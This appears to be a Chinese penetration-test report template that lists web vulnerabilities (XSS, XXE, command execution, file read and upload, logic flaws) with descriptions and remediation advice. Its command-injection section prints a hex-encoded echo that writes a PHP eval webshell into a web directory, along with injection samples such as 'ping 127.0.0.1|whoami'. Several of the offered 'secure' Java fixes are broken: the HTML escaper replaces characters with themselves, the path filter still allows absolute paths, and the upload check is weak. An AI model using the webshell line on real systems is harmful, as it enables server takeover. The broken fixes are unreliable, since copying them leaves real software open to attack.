XSS 漏洞常见于网站和应用程序中，当用户在网站的表单中输入信息时，攻击者可以通过在输入中插入恶意的脚本来控制网站的行为。例如，攻击者可以通过注入恶意的脚本来窃取用户的敏感信息，或者控制用户的浏览器行为。

为了防止 XSS 漏洞，网站和应用程序应该对用户的输入进行过滤和验证，以防止恶意的脚本的注入。此外，网站应该使用安全的编码方式来防止 XSS 漏洞，并定期检查代码以确保安全。

跨站脚本（Cross-Site Scripting，XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种，允许恶意用户将代码注入网页，其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。XSS攻击通常是指通过利用网页开发时留下的漏洞，巧妙注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和Cookie等内容。

跨站脚本攻击是一种迫使Web站点回显可执行代码的攻击技术，而这些可执行代码由攻击者提供、最终为用户浏览器加载。不同于大多数攻击（一般只涉及攻击者和受害者），XSS涉及到三方，即攻击者、客户端与网站。XSS的攻击目标是为了盗取客户端的Cookie或者其他网站用于识别客户端身份的敏感信息。获取到合法用户的信息后，攻击者甚至可以假冒最终用户与网站进行交互。

XSS 全称 (Cross Site Scripting)跨站脚本攻击， 指攻击者在网页中嵌入客户端脚本(例如 JavaScript), 当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的。比如获取用户的Cookie，导航到恶意网站,携带木马等。

XSS又分为存储型、反射型和DOM型。

存储型跨站脚本攻击漏洞是指攻击者注入的跨站脚本长期性地存储到服务器，当任何用户访问存在跨站脚本的页面时，都会遭到跨站脚本攻击。

反射型跨站脚本攻击漏洞是简单地把用户输入的数据“反射”给浏览器。攻击脚本未存储在服务端，客户端每次访问需要携带攻击脚本才能中招。

DOM型跨站脚本攻击漏洞是客户端脚本（一般是 javascript）处理用户输入时，没有做充分的过滤，并且将用户的输入赋给 DOM 树中 某些对象的属性，比如通过 document.write，window.location 等。这些操作支持执行 javascript,造成用户的输入被执行。

漏洞成因

由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤，允许用户在提交的数据中掺入HTML代码（最主要的是“>”、“<”），然后未加编码地输出到第三方用户的浏览器，这些攻击者恶意提交代码会被受害用户的浏览器解释执行。由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤，允许用户在提交的数据中掺入HTML代码（最主要的是“>”、“<”），然后未加编码地输出到第三方用户的浏览器，这些攻击者恶意提交代码会被受害用户的浏览器解释执行。

漏洞危害

获取用户的Cookie，导航到恶意网站,携带木马等。

修复方案

通用方案：

1.将重要的Cookie标记为 http only，使javascript中的document.cookie语句不能获取到Cookie。

2.输入检查：

在构造白名单的过程中需要保证在不影响用户体验的同时，尽可能杜绝一切不必要的输入内容，只允许用户输入我们期望的数据。例如：

年龄的textbox中，只允许用户输入数字，而数字之外的字符都过滤掉。

3.输出检查：

对数据进行html encode处理，过滤移除特殊的html标签。

例如：

过滤javascript事件的标签。

例如：

onclick=，onfocus 等等

建议过滤关键字为：

[1] < 左尖括号

[2] > 右尖括号

[3] " 双引号

[4] ' 单引号

[5] \`` 反引号

[6]%百分号

[7](左圆括号

[8])右圆括号

[9];分号

[10]/正斜杠

[11]` 反斜杠

[12] [ 左中括号

[13] ] 右中括号

[14] & 连接符号

[15] # 井号

比如把<编码为<。< span="">

4.其他参考：

富文本过滤库

ruby：             https://github.com/rgrove/sanitize

php：              https://github.com/ezyang/htmlpurifier

javascript：       https://github.com/leizongmin/js-xss

                https://github.com/cure53/DOMPurify

更多：            

https://github.com/search?o=desc&q=xss&ref=searchresults&s=stars&type=Repositories&utf8=%E2%9C%93

PHP

建议采用以下函数进行实体编码或者过滤特殊字符建议采用以下函数进行实体编码或者过滤特殊字符

strip_tags($str, [允许标签])#从字符串中去除 HTML 和 PHP 标记

htmlentities($str)#转义html实体

html_entity_decode($str)#反转义html实体

addcslashes($str,'字符')#给某些字符加上反斜杠

stripcslashes($str)#去掉反斜杠

addslashes ($str )#单引号、双引号、反斜线与 NULL加反斜杠

stripslashes($str)#去掉反斜杠

htmlspecialchars()#特殊字符转换为HTML实体

htmlspecialchars_decode()#将特殊的 HTML 实体转换回普通字符

Java

1.特殊字符替换

public static String html(String content){

   if(content==null)return "";       

   String html = content;

   html = html.replace( "'", "&apos;");

   html = html.replaceAll( "&", "&");

   html = html.replace( "\"", """);  //"

   html = html.replace( "\t", "  ");// 替换跳格

   html = html.replace( " ", " ");// 替换空格

   html = html.replace("<", "<");

   html = html.replaceAll( ">", ">");

   return html;

}

2.apache工具包common-lang中有一个很有用的处理字符串的工具类，其中之一就是StringEscapeUtils,这个工具类是在2.3版本以上加上的去的，利用它能很方便的进行html,xml,java等的转义与反转义

org.apache.commons.lang3包有个StringEscapeUtils

StringEscapeUtils.unescapeHtml4(str);

3.org.springframework.web.util.HtmlUtils 可以实现HTML标签及转义字符之间的转换。

/** HTML转义 **/ 

String s = HtmlUtils.htmlEscape("

hello world

System.out.println(s); 

String s2 = HtmlUtils.htmlUnescape(s); 

System.out.println(s2);。

代码实现参考：

import org.apache.commons.text.StringEscapeUtils;

public class XssFixer {

    public static String filterSpecialChars(String input) {

        // 先对字符串进行 HTML 实体编码

        String encodedInput = StringEscapeUtils.escapeHtml4(input);

        // 使用正则表达式过滤特殊字符，只保留字母、数字和常用的特殊字符

        String filteredInput = encodedInput.replaceAll("[^a-zA-Z0-9\\p{Punct}]+", "");

        return filteredInput;

    }

}

在 Java 中，通过使用 StringEscapeUtils 类可以轻松地对字符串进行 HTML 实体编码，并使用正则表达式过滤特殊字符。

在上面的代码中，我们首先对输入字符串进行 HTML 实体编码，然后使用正则表达式过滤特殊字符。这样可以有效地修复 XSS 漏洞，防止攻击者注入恶意脚本。

测试过程

复测过程

复测结果

未修复

漏洞名称

XXE(XML实体注入)漏洞

漏洞地址

漏洞等级

高危

漏洞描述

XXE 漏洞（XML External Entity）是指攻击者通过在 XML 文档中插入外部实体，来绕过网站的安全措施，获取敏感信息或控制网站的行为。

XXE 漏洞常见于网站和应用程序中，当用户在网站的表单中输入 XML 文档时，攻击者可以通过在 XML 文档中插入外部实体来控制网站的行为。例如，攻击者可以通过 XXE 漏洞来窃取敏感信息，或者控制网站的行为。

为了防止 XXE 漏洞，网站和应用程序应该对用户的输入进行过滤和验证，以防止恶意的 XML 文档的注入。此外，网站应该在解析 XML 文档时禁用外部实体，并定期检查代码以确保安全性。

XML 外部实体注入漏洞也就是我们常说的 XXE 漏洞。XML 作为一种使用较为广泛的数据传输格式，很多应用程序都包含有处理 xml 数据的代码，默认情况下，许多过时的或配置不当的 XML 处理器都会对外部实体进行引用。如果攻击者可以上传 XML 文档或者在 XML 文档中添加恶意内容，通过易受攻击的代码、依赖项或集成，就能够攻击包含缺陷的XML处理器。XXE 漏洞的出现和开发语言无关，只要是应用程序中对 xml 数据做了解析，而这些数据又受用户控制，那么应用程序都可能受到 XXE 攻击。

漏洞成因

漏洞危害

修复方案

测试过程

复测过程

复测结果

未修复

漏洞名称

远程代码执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

代码执行漏洞是指攻击者能够通过某种方式在程序中注入恶意代码，并通过该程序执行恶意代码。这种漏洞通常发生在对用户输入数据没有进行充分的过滤或检查的情况下，攻击者可以利用这一点来注入恶意代码。代码执行漏洞可能会导致系统被恶意控制，并可能对系统造成严重破坏。因此，开发人员应该在编写代码时注意这一问题，并确保对用户输入数据进行充分的过滤和检查。

用户通过浏览器注入一些特殊字符提交执行代码，由于服务端没有针对执行函数做过滤，导致攻击者在没有指定绝对路径的情况下就执行代码，可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行恶意构造的代码，改变原本的执行意图，从而执行攻击者指定的代码。

漏洞成因

在各类编程语言中，为了方便程序处理，通常会存在各种执行外部程序的函数，当调用函数执行命令且服务端未对执行函数输入结果做过滤时，导致在没有指定绝对路径的情况下就执行命令，攻击者通过注入恶意命令，造成巨大的危害。

在Web应用中有时候程序员为了考虑灵活性、简洁性，会在代码调用eval函数(PHP函数)去处理，比如当应用在调用一些能将字符串转化成代码的函数时，没有考虑用户是否能控制这个字符串，将造成代码执行漏洞。

由于开发人员编写程序时没有针对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务端执行。命令注入攻击中WEB服务器没有过滤类似system()，eval()，exec()，assert()，preg replace()+ /e 模式等函数是该漏洞攻击成功的最主要原因。

漏洞危害

攻击者在没有指定绝对路径的情况下就执行代码，可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行恶意构造的代码，改变原本的执行意图，从而执行攻击者指定的代码。

修复方案

通用方案

1.使用低权限用户执行应用程序。

2.升级组件到最新版本。

3.配置或代码过滤危险函数，例如eval()、assert()、preg replace()+/e模式等。

PHP

1.对于eval()和assert()函数一定要保证用户不能轻易接触eval()和assert()的参数或者用正则严格判断输入的数据格式。

2.对于字符串一定要使用单引号包裹可控代码，并且插入前进行addslashes。

3.对于preg replace()放弃使用/e修饰符。如果必须要用/e修饰符，请保证第二个参数中，对于正则匹配出的对象，用单引号包裹。

测试过程

复测过程

复测结果

未修复

漏洞名称

远程命令执行漏洞

漏洞地址

漏洞等级

超危

漏洞描述

命令执行漏洞是指攻击者可以通过向程序提交恶意的命令，并使程序执行该命令，来达到攻击的目的。这种漏洞通常发生在程序对用户输入的数据没有进行充分的过滤或检查的情况下，攻击者可以利用这一点来向程序提交恶意的命令。命令执行漏洞可能会导致系统被恶意控制，并可能对系统造成严重破坏。因此，开发人员应该在编写代码时注意这一问题，并确保对用户输入的数据进行充分的过滤和检查。

命令执行通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。

该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能，或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。

漏洞成因

用户可控点可以使用管道符进行命令拼接

参数点的过滤不严格，或者可以被绕过

相关函数

system()有回显， 输出并返回最后一行shell结果。

passthru()(有回显)，只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。

exec()（回显最后一行-必须echo输出）不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。

shell_exec()（无回显-必须输出）

反引号：``

popen(handle,mode)(无回显，返回指针，需要将结果存到文件中)不会直接返回执行结果，而是返回一个文件指针

proc_open(‘cmd’,‘flag’,‘flag’)（无回显）不会直接返回执行结果，而是返回一个文件指针。

常见注入方式

分号分割

分割

管道符

换行

反引号解析

替换

无回显技

bash反弹shell

DNS带外数据

http带外

无带外时利用 或其他逻辑构造布尔条件

命令执行绕过

Windows:

WINDOWS：用^转义

LINUX：需要用\来转义

echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

管道符说明：

|：管道符，将一个程序的输出作为另一个程序的输入

>:输出重定向，将程序的输出流入到某个程序或者文本中

>>：追加输出重定向，将输出的内容追加到一个文件的末尾

其他特殊符号：

Windows平台：

| 直接执行后面的语句 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ，前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&& 前面的语句为假则直接出错，后面的也不执行，前面只能为真 ping 127.0.0.1&&whoami。

漏洞危害

继承Web服务器程序的权限，去执行系统命令

继承Web服务器程序的权限，读写文件

反弹shell

写Webshell

控制整个网站

甚至控制整个服务器。

修复方案

从架构和设计的角度来说：

①要用最小权限去运行程序，不要给予程序多余的权限，最好只允许在特定的路径下运行，可以通过明确的路径运行命令;

②尽可能使用库或框架：使用不允许此弱点出现的经过审核的库或框架，或提供更容易避免此弱点的构造。尽可能地使用库调用，而不是调用外部进程来完成所需功能。

③减少被攻击面：对于那些被用于生成待执行命令的数据，尽可能避免其被外部可控的数据污染。

从实现的角度来说：

①虽然使用动态生成的查询字符串，代码或命令将控制和数据混合在一起是有风险的，但有时它可能是不可避免的。正确引用参数并转义这些参数中的任何特殊字符。最保守的方法是转义或过滤所有未通过极其严格的白名单的字符(例如不是字母数字或空格的所有内容)。如果仍然需要一些特殊字符，例如空格，则在转义/过滤步骤之后将每个参数包装在引号中;

②如果只允许运行有限的命令，使用白名单方式过滤。

测试过程

复测过程

复测结果

未修复

漏洞名称

URL泄露敏感信息漏洞

漏洞地址

漏洞等级

中危

漏洞描述

URL泄露敏感信息漏洞是指网站或应用程序的URL地址中包含敏感信息，如用户名和密码，可能会被恶意用户获取并利用。这种漏洞通常发生在开发人员在编写代码时没有注意到URL中包含敏感信息的情况下，或者在网站或应用程序的配置中存在问题。URL泄露敏感信息漏洞可能会导致用户的账户被恶意用户盗取，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保不会在URL中包含敏感信息。

URL中包含敏感信息，如token、ticket、用户名、口令、手机号、身份证号等信息。

漏洞成因

URL中包含敏感信息，如token、ticket、用户名、口令、手机号、身份证号等信息。

漏洞危害

攻击者可能获取到此URL中的敏感参数，造成敏感信息泄漏以及在获取到用户认证信息后进行登录等。

修复方案

1.采用POST请求方法请求体传输敏感数据。

2.敏感字段采用强加密传输，禁止采用简单MD5加密甚至base64编码或者相关算法变形处理方式，尽量使用国密算法或者支持国密算法的密码机。

测试过程

复测过程

复测结果

未修复

漏洞名称

任意文件读取漏洞

漏洞地址

漏洞等级

高危

漏洞描述

任意文件读取漏洞是指攻击者可以通过某种方式读取网站或应用程序服务器上的文件，获取敏感信息。这种漏洞通常发生在程序没有对用户的权限进行充分的检查或限制的情况下，攻击者可以利用这一点来读取服务器上的文件。任意文件读取漏洞可能会导致服务器上的敏感信息被泄露，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对用户的权限进行充分的检查和限制。

攻击者通过Web Server自身的安全问题或不安全的服务器配置可以读取服务器上开发者不允许读取的文件，进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生，读取操作涉及内容包括服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序等。

漏洞成因

由于一些网站的业务需要,往往需要提供文件读取或下载的一个模块,但如果没有对读取或下载做一个白名单或者限制，可能导致恶意攻击者读取下载一些敏感信息(etc/passwd 等),对服务器做下一步的进攻与威胁。

攻击者通过Web Server自身的安全问题或不安全的服务器配置可以读取服务器上开发者不允许读取的文件，进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生，读取操作涉及内容包括服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序等。

漏洞危害

通过任意文件下载，可以下载服务器的任意文件，web业务的代码，服务器和系统的具体配置信息，也可以下载数据库的配置信息，以及对内网的信息探测等等。

攻击者通过Web Server自身的安全问题或不安全的服务器配置可以读取服务器上开发者不允许读取的文件，进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生，读取操作涉及内容包括服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序等。

修复方案

1.php.ini 配置 open_basedir（针对PHP应用程序）。

2.用户输入配置白名单，对文件下载类型进行检查，判断是否为允许下载类型。

3.过滤路径回溯符../，或者直接将..替换成空。对参数进行过滤，依次过滤“.”、“..”、“/”、“\”等字符。

4.对于下载文件的目录做好限制，只能下载指定目录下的文件，或者将要下载的资源文件路径存入数据库，附件下载时指定数据库中的id即可，id即对应的资源。

代码实现参考：

import java.io.File;

import java.io.IOException;

import java.nio.file.Files;

import java.nio.file.Path;

import java.nio.file.Paths;

import java.util.regex.Pattern;

public class FileReader {

    // 正则表达式，用于过滤路径中的 ../ 字符串

    private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("[^/]+/\\.\\./");

    // 安全读取文件

    public static byte[] readSafely(String path) throws IOException {

        // 将路径中的 ../ 替换为空字符串

        String safePath = SAFE_PATH_PATTERN.matcher(path).replaceAll("");

        // 使用安全路径读取文件

        Path filePath = Paths.get(safePath);

        return Files.readAllBytes(filePath);

    }

}

这段代码中使用了正则表达式来过滤路径中的 ../ 字符串，确保文件只能被读取到预期的位置。

使用方法：

try {

    byte[] fileData = FileReader.readSafely("/path/to/file");

} catch (IOException e) {

    // 处理异常

}

测试过程

复测过程

复测结果

未修复

漏洞名称

任意文件上传漏洞

漏洞地址

漏洞等级

高危

漏洞描述

文件上传漏洞是指攻击者可以通过某种方式将恶意文件上传到网站或应用程序的服务器上，并通过该程序执行恶意文件来达到攻击的目的。这种漏洞通常发生在程序没有对用户上传的文件进行充分的检查和过滤的情况下，攻击者可以利用这一点来上传恶意文件。文件上传漏洞可能会导致系统被恶意控制，并可能对系统造成严重破坏。因此，开发人员应该在编写代码时注意这一问题，并确保对用户上传的文件进行充分的检查和过滤。

上传文件的时候，如果服务器端脚本语言，未对上传的文件进行严格的验证和过滤，就有可能上传恶意的脚本文件，从而控制整个网站，甚至是服务器上传文件的时候，如果服务器端脚本语言，未对上传的文件进行严格的验证和过滤，就有可能上传恶意的脚本文件，从而控制整个网站，甚至是服务器。

漏洞成因

在网站运营过程中，不可避免地要对网站的某些页面或者内容进行更新，这个时候需要使用到网站的文件上传功能。如果不对被上传的文件进行限制或者限制被绕过，该功能便有可能会被利用上传可执行文件、脚本到服务器上，进而进一步导致服务器沦陷。

漏洞危害

文件上传在Web业务中很常见，如用户上传头像、编写文章上传图片等。在实现文件上传时，如果后端没有对用户上传的文件做好处理，会导致非常严重的安全问题，如服务器被上传恶意木马或者垃圾文件。如果不对被上传的文件进行限制或者限制被绕过，该功能便有可能会被利用上传可执行文件、脚本到服务器上，进而进一步导致服务器沦陷。

修复方案

1.在服务器后端控制上传文件类型，处理时强制使用随机数改写文件名和文件路径,不要使用用户自定义的文件名和文件路径。

2.在服务器后端建议使用白名单的方法对上传的文件进行过滤，上传的目录不进行解析，只提供下载权限。

3.开源编辑器上传漏洞：若新版编辑器已修复漏洞，请更新编辑器版本。

4.除了以上的方法之外，还可将被上传的文件限制在某一路径下，并在文件上传目录禁止脚本解析。

代码实现参考：

import java.io.File;

import java.io.IOException;

import java.security.SecureRandom;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import javax.servlet.http.Part;

public class FileUploadServlet extends HttpServlet {

  private static final long serialVersionUID = 1L;

  private static final String ALLOWED_FILE_TYPES = "image/jpeg,image/png,image/gif";

  private static final SecureRandom random = new SecureRandom();

  protected void doPost(HttpServletRequest request, HttpServletResponse response)

      throws ServletException, IOException {

    // 获取上传的文件

    Part filePart = request.getPart("file");

    // 检查文件类型是否被允许

    String fileType = filePart.getContentType();

    if (!ALLOWED_FILE_TYPES.contains(fileType)) {

      response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type.");

      return;

    }

    // 使用随机数改写文件名和文件路径

    String fileName = generateRandomFileName(filePart.getSubmittedFileName());

    String filePath = request.getServletContext().getRealPath("/") + File.separator + "uploads" + File.separator + fileName;

    // 保存文件

    filePart.write(filePath);

    // 返回响应

    response.setStatus(HttpServletResponse.SC_OK);

  }

  private static String generateRandomFileName(String fileName) {

    int randomNumber = random.nextInt();

    String[] fileNameParts = fileName.split("\\.");

    String fileExtension = fileNameParts[fileNameParts.length - 1];

    return randomNumber + "." + fileExtension;

  }

}

在上面的代码中，我们首先使用 getPart 方法获取上传的文件。然后检查文件类型是否在允许的文件类型列表中。如果不在，则发送错误响应。否则，我们使用随机数改写文件名和文件路径。最后，我们使用 write 方法将文件写入磁盘，并返回响应。

测试过程

复测过程

复测结果

未修复

漏洞名称

任意密码重置漏洞

漏洞地址

漏洞等级

高危

漏洞描述

任意密码重置漏洞是指攻击者可以通过某种方式重置任意用户的密码，而无需知道原始密码。这种漏洞通常发生在程序没有对密码重置功能进行充分的限制和验证的情况下，攻击者可以利用这一点来重置任意用户的密码。任意密码重置漏洞可能会导致用户的账户被恶意用户盗取，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对密码重置功能进行充分的限制和验证。

常见的任意密码重置漏洞：

密码重置过程中，通过修改数据包中的参数和对应的值，参数名一般可以在其他地方找到，替换隐藏参数即可修改他人的密码等信息。

漏洞成因

密码重置过程中未对数据包中参数和对应的值进行校验。

漏洞危害

任意密码重置。

修复方案

1.用户操作个人信息（读取、修改）时，服务端要对当前用户身份进行验证，防止越权操作；

2.用来标识用户身份的手机号、用户名或 ID 可以使用自定义加密，也可以隐藏这些参数，直接从Cookie 中获取用户信息；

3.用户修改密码时应该先对旧密码进行验证，或者使用手机短信验证；

4.用户修改手机号时需要先对原手机号进行验证。

测试过程

复测过程

复测结果

未修复

漏洞名称

任意用户注册漏洞

漏洞地址

漏洞等级

中危

漏洞描述

任意用户注册漏洞是指攻击者可以通过某种方式在程序中注册任意用户名，而无需知道注册用户的真实信息。这种漏洞通常发生在程序没有对用户注册功能进行充分的限制和验证的情况下，攻击者可以利用这一点来注册任意用户。任意用户注册漏洞可能会导致用户信息泄露，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对用户注册功能进行充分的限制和验证。

常见的任意用户注册漏洞：

应用系统对图形验证码和短信验证码校验不合理导致任意用户注册漏洞。

漏洞成因

应用系统对图形验证码和短信验证码校验不合理导致任意用户注册漏洞。

漏洞危害

攻击者通过自己手机短信验证码，通过修改注册手机号码，注册他人手机用户名，可以通过这个漏洞批量注册新用户，同时导致其他用户无法进行注册。

修复方案

针对图形验证码和短信验证码采用服务器端校验，登录失败一次，验证码变换一次。

测试过程

复测过程

复测结果

未修复

漏洞名称

图形验证码绕过漏洞

漏洞地址

漏洞等级

中危

漏洞描述

图形验证码绕过漏洞是指在一个网站使用图形验证码时，攻击者可以通过某种方式绕过图形验证码，从而获得不正当的访问权限。图形验证码通常用于防止自动化程序（如爬虫）对网站进行攻击，但是如果图形验证码有漏洞，攻击者可能会利用这些漏洞来绕过验证码，从而对网站造成威胁。为了防止这种情况的发生，网站开发者应该对图形验证码进行定期审核，并确保它们是安全的。

漏洞成因

图形验证码存在设置缺陷，比如图形验证码前端验证。

漏洞危害

攻击者可以通过某种方式绕过图形验证码，从而获得不正当的访问权限。

修复方案

图形验证码采用服务器端校验，登录失败一次，验证码变换一次。

代码思路参考：

1.使用 Java 的图形处理库（如 Java 2D）生成图形验证码。这通常包括在图像上绘制随机的字符或形状，并使用特殊的滤镜或扭曲来混淆图像。

2.将生成的图形验证码发送给客户端，并将其存储在服务器端的会话中。

3.当用户在客户端提交登录表单时，检查用户提供的图形验证码是否与服务器端会话中的验证码匹配。

4.如果验证码匹配，则继续进行登录操作；否则，返回一个错误消息并重新生成一个新的图形验证码。

代码实现参考：

import java.awt.Color;

import java.awt.Font;

import java.awt.Graphics2D;

import java.awt.image.BufferedImage;

import java.io.IOException;

import java.util.Random;

import javax.imageio.ImageIO;

import javax.servlet.ServletException;

import javax.servlet.ServletOutputStream;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

/**

 * 生成图形验证码并进行校验

 */

public class CaptchaServlet extends HttpServlet {

    private static final long serialVersionUID = -6020470039852318468L;

    // 图形验证码的字符集，系统将随机从这个字符串中选择一些字符作为验证码

    private static final String CODE_CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

    // 字符数量

    private static final int CODE_LENGTH = 4;

    // 图形宽度

    private static final int WIDTH = 100;

    // 图形高度

    private static final int HEIGHT = 30;

    // 字体大小

    private static final int FONT_SIZE = 20;

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        // 设置响应的类型格式为图片格式

        response.setContentType("image/jpeg");

        // 禁止图像缓存。

        response.setHeader("Pragma", "no-cache");

        response.setHeader("Cache-Control", "no-cache");

        response.setDateHeader("Expires", 0);

        HttpSession session = request.getSession();

        BufferedImage image = new BufferedImage(WIDTH, HEIGHT, BufferedImage.TYPE_INT_RGB);

        Graphics2D g = image.createGraphics();

        // 生成随机类

        Random random = new Random();

        // 设定图像背景色(因为是做背景，所以偏淡)

        g.setColor(getRandColor(200, 250));

        g.fillRect(0, 0, WIDTH, HEIGHT);

上面的代码是实现图形验证码的一种方法，它的主要思路如下：

定义常量：图形验证码的字符集、字符数量、图形宽度、图形高度和字体大小

实现 doGet() 方法，这是一个 Servlet 程序必须实现的方法，用于处理 HTTP GET 请求

设置响应的类型格式为图片格式，并禁止图像缓存

创建一个图片缓冲区，用于存储图形验证码

设定图像背景色

随机生成一个字符串作为验证码，并将其存储在 Session 对象中，以便于后续的验证

在图片缓冲区上绘制验证码，包括验证码的字符和干扰线

将图片缓冲区输出到浏览器

如果需要进行验证码校验，可以在处理登录请求时进行如下操作：

获取用户输入的验证码

从 Session 对象中获取正确的验证码

比较两个验证码是否相同，如果相同则登录成功，否则登录失败，并将验证码更新为新的字符串。

测试过程

复测过程

复测结果

未修复

漏洞名称

支付逻辑漏洞

漏洞地址

漏洞等级

高危

漏洞描述

支付逻辑漏洞是指在支付过程中，攻击者通过篡改商品单价、数量、总价、折扣、运费等参数以此来导致安全问题的一种漏洞。这种漏洞可能导致攻击者获取非预期的折扣或者免费商品，或者将支付金额转移到自己的账户中。

漏洞成因

支付逻辑漏洞主要包括支付过程中商品单价、数量、总价、折扣、运费等参数篡改导致的安全问题。

漏洞危害

支付逻辑漏洞主要包括支付过程中商品单价、数量、总价、折扣、运费等参数篡改导致的安全问题。

修复方案

对支付参数进行校验和验证：在收到用户的支付请求时，可以对商品单价、数量、总价、折扣、运费等参数进行校验和验证，以确保这些参数的正确性。商品信息，如单价、数量、总价、折扣、运费等原始数据的校验应来自于服务器端，不应该完全相信客户端传递过来的值。类似的跨平台支付业务，涉及平台之间接口调用，一定要做好对重要数据，如单价、数量、总价、折扣、运费等的完整校验，确保业务重要数据在平台间传输的一致。

测试过程

复测过程

复测结果

未修复

漏洞名称

验证码客户端回显漏洞

漏洞地址

漏洞等级

中危

漏洞描述

验证码回显漏洞是一种安全漏洞，可能存在于软件应用程序或网站上。这种漏洞允许攻击者轻松地绕过验证码系统，从而访问受保护的资源或执行恶意操作。

这种漏洞通常出现在客户端应用程序中，例如网站或软件应用程序，在某些情况下，客户端可能会将验证码发送回服务器以进行验证，但是如果服务器没有正确验证验证码，则可能会将验证码发送回客户端，这就是验证码回显漏洞。

要避免验证码回显漏洞，最好的方法是在服务器端进行验证码验证，并确保服务器端的验证码验证是安全的。

常见的验证码客户端回显漏洞包括：短信验证码在客户端回显。

漏洞成因

短信验证码在客户端回显。

漏洞危害

短信验证码在客户端回显。

修复方案

1.禁止验证码在本地客户端生成，应采用服务器端验证码生成机制。避免返回验证码到响应包中，验证码一定要放在服务端校验。

2.验证码应随机生成，且使用一次即失效。设置验证码的时效性，如180秒过期。

测试过程

复测过程

复测结果

未修复

漏洞名称

用户枚举漏洞

漏洞地址

漏洞等级

中危

漏洞描述

用户枚举漏洞是指攻击者可以通过某种方式枚举网站或应用程序中的用户名，从而获取用户信息。这种漏洞通常发生在程序没有对用户名枚举功能进行充分的限制和验证的情况下，攻击者可以利用这一点来枚举用户名。用户枚举漏洞可能会导致用户信息泄露，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对用户名枚举功能进行充分的限制和验证。

由于错误配置或设计缺陷，当向应用系统提交有效用户名和无效用户名时，服务器会有不同的响应。利用响应的不同，攻击者可以获取到应用系统已经存在的用户，可用于暴力破解，进一步获取用户的登录密码。

漏洞成因

由于错误配置或设计缺陷，当向应用系统提交有效用户名和无效用户名时，服务器会有不同的响应。

漏洞危害

利用响应的不同，攻击者可以获取到应用系统已经存在的用户，可用于暴力猜解，进一步获取用户的登录密码。

修复方案

对系统登录失败提示语句表达内容进行统一的模糊描述处理，从而提高攻击者对登录系统用户名及密码的可猜测难度，如“登录账号或密码错误”、“系统登录失败”等。

测试过程

用户枚举漏洞的检测比较简单，只需用不同的用户名去登录，查看服务器响应是否有差异即可（查看页面、查看响应包等）。

有效用户名

输入应用系统存在的用户名和任意密码，应用系统响应【密码错误】。

无效用户名

输入应用系统不存在的用户名和任意密码，应用系统响应【用户名不存在】。

有效用户名和无效用户名的系统响应存在差异，这就表示应用系统存在用户枚举漏洞。简单的测试，我们就获取到了系统已经存在的admin账户，而且依据经验判断，admin很可能是应用系统管理账户。我们可以用字典去爆破admin的登录密码，也可以继续枚举应用系统存在的其他用户名，进一步确定可攻击对象。

复测过程

复测结果

未修复

漏洞名称

接口遍历漏洞

漏洞地址

漏洞等级

高危

漏洞描述

接口遍历漏洞是指攻击者可以通过某种方式遍历网站或应用程序中的接口，从而获取敏感信息。这种漏洞通常发生在程序没有对接口的访问进行充分的限制和控制的情况下，攻击者可以利用这一点来遍历接口。接口遍历漏洞可能会导致敏感信息泄露，因此应该尽量避免这种漏洞的发生。开发人员应该在编写代码时注意这一问题，并确保对接口的访问进行充分的限制和控制。

常见的接口遍历漏洞：

通过修改接口的用户id，可以直接遍历到其他用户投稿文件，甚至修改、删除。

漏洞成因

通过修改接口的用户id，可以直接遍历到其他用户投稿文件，甚至修改、删除。

漏洞危害

通过修改接口的用户id，可以直接遍历到其他用户投稿文件，甚至修改、删除。

修复方案

1.用户操作个人信息（读取、修改）时，服务端要对当前用户身份进行验证，防止越权操作；

2.用来标识用户身份的手机号、用户名或 ID 可以使用自定义加密，也可以隐藏这些参数，直接从Cookie 中获取用户信息；

3.用户修改密码时应该先对旧密码进行验证，或者使用手机短信验证；

